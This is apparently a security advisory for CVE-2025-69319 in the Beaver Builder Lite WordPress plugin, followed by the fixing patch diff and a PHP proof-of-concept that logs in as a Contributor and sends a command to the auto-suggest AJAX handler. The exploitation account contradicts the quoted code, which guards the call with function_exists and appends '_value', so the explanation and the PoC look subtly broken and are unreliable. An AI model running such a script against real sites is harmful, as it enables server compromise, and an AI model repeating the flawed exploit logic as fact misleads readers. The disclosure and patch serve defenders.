Atomic Edge analysis of CVE-2025-69319:
This vulnerability is an authenticated remote code execution flaw in the Beaver Builder plugin for WordPress. The vulnerability resides in the auto-suggest AJAX handler, allowing Contributor-level users and above to call arbitrary PHP functions on the server, leading to code execution. The CVSS score of 8.8 reflects the high impact of this flaw.
The root cause is an insecure dynamic function call in the `fl_builder_auto_suggest` AJAX handler. The vulnerable code is in the file `beaver-builder-lite-version/classes/class-fl-builder-auto-suggest.php`. The `ajax_action` method (line 68) receives an `$action` parameter from the user. Before the patch, the code checked if a function named `{$action}_value` existed and then called it via `call_user_func_array`. This allowed an attacker to control the function prefix, leading to the execution of arbitrary internal PHP functions.
Exploitation requires an authenticated user with at least Contributor privileges. The attacker sends a POST request to the WordPress `admin-ajax.php` endpoint with the action parameter set to `fl_builder_auto_suggest`. The `fl_as_action` POST parameter controls the `$action` variable passed to the vulnerable method. By setting `fl_as_action` to a value like `system`, the code checks for `system_value`. If that function does not exist, the default case triggers, and the code calls `call_user_func_array(‘system_value’, …)`. The `$value` parameter, also attacker-controlled, is passed as the first argument to the dynamically constructed function, enabling command execution.
The patch adds a validation check to restrict which functions can be called. The fix modifies line 68 of `class-fl-builder-auto-suggest.php`. It adds a condition requiring the `$action` string to start with the prefix `fl_as_` before checking for the function’s existence. This change ensures only intended plugin functions can be invoked. The patch also includes a polyfill for the `str_starts_with` function for PHP versions below 8.0, added in `includes/compatibility.php`.
Successful exploitation grants an attacker the ability to execute arbitrary operating system commands on the underlying server with the privileges of the web server process. This can lead to full server compromise, data exfiltration, malware deployment, and the creation of persistent backdoors. The requirement for Contributor authentication lowers the attack barrier compared to an admin-only flaw.
--- a/beaver-builder-lite-version/classes/class-fl-builder-auto-suggest.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-auto-suggest.php
@@ -68,7 +68,7 @@
break;
default:
- if ( function_exists( $action . '_value' ) ) {
+ if ( str_starts_with( $action, 'fl_as_' ) && function_exists( $action . '_value' ) ) {
$data = call_user_func_array( $action . '_value', array( $value, $data ) );
}
--- a/beaver-builder-lite-version/classes/class-fl-builder-loader.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-loader.php
@@ -48,7 +48,7 @@
* @return void
*/
static private function define_constants() {
- define( 'FL_BUILDER_VERSION', '2.9.4.1' );
+ define( 'FL_BUILDER_VERSION', '2.9.4.2' );
define( 'FL_BUILDER_FILE', trailingslashit( dirname( __DIR__, 1 ) ) . 'fl-builder.php' );
define( 'FL_BUILDER_DIR', plugin_dir_path( FL_BUILDER_FILE ) );
define( 'FL_BUILDER_URL', esc_url( plugins_url( '/', FL_BUILDER_FILE ) ) );
--- a/beaver-builder-lite-version/classes/class-fl-builder-model.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-model.php
@@ -5498,6 +5498,15 @@
$published = self::get_layout_data( 'published', $original_post_id );
$draft = self::get_layout_data( 'draft', $original_post_id );
+ $orig_post = get_post( $original_post_id );
+ $new_post = get_post( $new_post_id );
+
+ if ( $orig_post->post_author !== $new_post->post_author ) {
+ wp_die( false, false, array( 'response' => 403 ) );
+ }
+
+ check_admin_referer( 'fl_wpml_duplicate_clicked' );
+
$response = array(
'enabled' => false,
'has_layout' => false,
--- a/beaver-builder-lite-version/classes/class-fl-builder-wpml.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-wpml.php
@@ -20,6 +20,12 @@
add_filter( 'fl_builder_node_template_post_id', __CLASS__ . '::filter_node_template_post_id' );
add_filter( 'fl_builder_parent_template_node_id', __CLASS__ . '::filter_parent_template_node_id', 10, 3 );
add_filter( 'option_fl_site_url', __CLASS__ . '::fix_url_check' );
+
+ add_action( 'admin_enqueue_scripts', function () {
+ wp_localize_script( 'fl-builder-admin-posts', 'fl_wpml_vars', array(
+ 'nonce' => wp_create_nonce( 'fl_wpml_duplicate_clicked' ),
+ ) );
+ }, 11 );
}
/**
--- a/beaver-builder-lite-version/fl-builder.php
+++ b/beaver-builder-lite-version/fl-builder.php
@@ -3,7 +3,7 @@
* Plugin Name: Beaver Builder Plugin (Lite Version)
* Plugin URI: https://www.wpbeaverbuilder.com/?utm_medium=bb&utm_source=plugins-admin-page&utm_campaign=plugins-admin-uri
* Description: A drag and drop frontend WordPress page builder plugin that works with almost any theme!
- * Version: 2.9.4.1
+ * Version: 2.9.4.2
* Author: The Beaver Builder Team
* Author URI: https://www.wpbeaverbuilder.com/?utm_medium=bb&utm_source=plugins-admin-page&utm_campaign=plugins-admin-author
* Copyright: (c) 2014 Beaver Builder
--- a/beaver-builder-lite-version/includes/compatibility.php
+++ b/beaver-builder-lite-version/includes/compatibility.php
@@ -387,3 +387,25 @@
}
}
}
+
+if ( ! function_exists( 'str_starts_with' ) ) {
+ /**
+ * Polyfill for `str_starts_with()` function added in PHP 8.0.
+ *
+ * Performs a case-sensitive check indicating if
+ * the haystack begins with needle.
+ *
+ * @since 5.9.0
+ *
+ * @param string $haystack The string to search in.
+ * @param string $needle The substring to search for in the `$haystack`.
+ * @return bool True if `$haystack` starts with `$needle`, otherwise false.
+ */
+ function str_starts_with( $haystack, $needle ) {
+ if ( '' === $needle ) {
+ return true;
+ }
+
+ return 0 === strpos( $haystack, $needle );
+ }
+}
--- a/beaver-builder-lite-version/includes/updater-config.php
+++ b/beaver-builder-lite-version/includes/updater-config.php
@@ -3,7 +3,7 @@
if ( class_exists( 'FLUpdater' ) ) {
FLUpdater::add_product(array(
'name' => 'Beaver Builder Plugin (Lite Version)',
- 'version' => '2.9.4.1',
+ 'version' => '2.9.4.2',
'slug' => 'bb-plugin',
'type' => 'plugin',
));
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69319 - Beaver Builder <= 2.9.4.1 - Authenticated (Contributor+) Remote Code Execution
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$command = 'id'; // Command to execute on the target server
// Step 1: Authenticate to WordPress to obtain a valid session cookie
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Exploit the vulnerable auto-suggest AJAX endpoint
// The 'action' parameter for admin-ajax.php must be 'fl_builder_auto_suggest'.
// The 'fl_as_action' POST parameter controls the dynamic function call.
// The 'fl_as_value' POST parameter is passed as the first argument to the function.
$post_data = array(
'action' => 'fl_builder_auto_suggest',
'fl_as_action' => 'system', // This will attempt to call 'system_value'
'fl_as_value' => $command,
'fl_as_data' => '' // Additional data parameter, often empty
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
// The response may contain the output of the executed command
echo "Response:n";
echo $response;
curl_close($ch);
?>